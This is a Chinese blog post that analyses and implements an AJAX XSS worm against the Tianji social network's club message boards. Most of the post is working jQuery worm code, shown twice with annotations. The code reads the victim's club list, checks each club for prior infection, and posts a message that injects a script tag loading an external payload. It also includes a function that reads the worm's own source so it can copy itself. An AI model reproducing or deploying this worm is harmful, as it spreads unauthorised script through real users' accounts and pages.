天际网ajax worm分析及实现

最近心血来潮想研究下ajax worm的传播,偶然发现了天际网的几处xss漏洞,其中一处为俱乐部处留言的地方没过滤好导致xss攻击。就写个ajax worm来玩玩了。

分析:
由于没有对script标记做很好的限制,使ajax worm的应用起来相对就容易的多了。
字符限制为1000,可以直接写源码进页面了。
刚开始用xmlhttp来获取数据和提交数据,不知道怎么回事,在IE下调试能用,在firefox下调试不起作用了。
后来发现天际网采用了一个叫做jquery的轻量级的javascript框架,于是直接调用框架中的ajax函数。
发现一个好处,采用系统自带框架的ajax函数,可以使ajax worm代码更短。

写了个简单的应用,一共10行,代码如下:
Quote:
var indexhtml = $.ajax({url: "/Group/Index",async:false}).responseText;
var urllist = indexhtml.substring(indexhtml.indexOf("<blockquote>")+12,indexhtml.indexOf("</blockquote>")).match(/groupId=/d+/g);
if (urllist!=null){
for(i=0;i<urllist.length;i++){
var html = $.ajax({url: "/Group/GroupIndex?"+urllist ,async: false}).responseText;
if(html.indexOf("http://localhost/2.js")==-1) {
$.ajax({type: "POST",url: "/Group/BBSDone?"+urllist,data:"content=元旦快乐!<script type='text/javascript' src='http://localhost/2.js'></script>&inIndex=true&"+urllist});
}
}
}


源码分析如下:
Quote:
//获取俱乐部主页源码
var indexhtml = $.ajax({url: "/Group/Index",async:false}).responseText;
//获取要感染的俱乐部IDlist
var urllist = indexhtml.substring(indexhtml.indexOf("<blockquote>")+12,indexhtml.indexOf("</blockquote>")).match(/groupId=/d+/g);
//如果当前用户加入的有俱乐部,则感染,没有则退出执行
if (urllist!=null){
//循环感染
for(i=0;i<urllist.length;i++){
//获取要感染俱乐部页面源码
var html = $.ajax({url: "/Group/GroupIndex?"+urllist ,async: false}).responseText;
//判断是否已经感染,没感染则感染
if(html.indexOf("http://localhost/2.js")==-1) {
//感染
$.ajax({type: "POST",url: "/Group/BBSDone?"+urllist,data:"content=2008元旦快乐!<script type='text/javascript' src='http://localhost/2.js'></script>&inIndex=true&"+urllist});
}
}
}


一个获取ajax worm蠕虫本身源码的函数,使用当前页面自己感染的时候或许有用。
Quote:
function codes(){
var urlstr = document.location.href;
var code = $.ajax({url: urlstr,async: false}).responseText;
code = code.substring(code.indexOf("<!--code start-->"),code.lastIndexOf("<!--//code end-->"));
return code;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值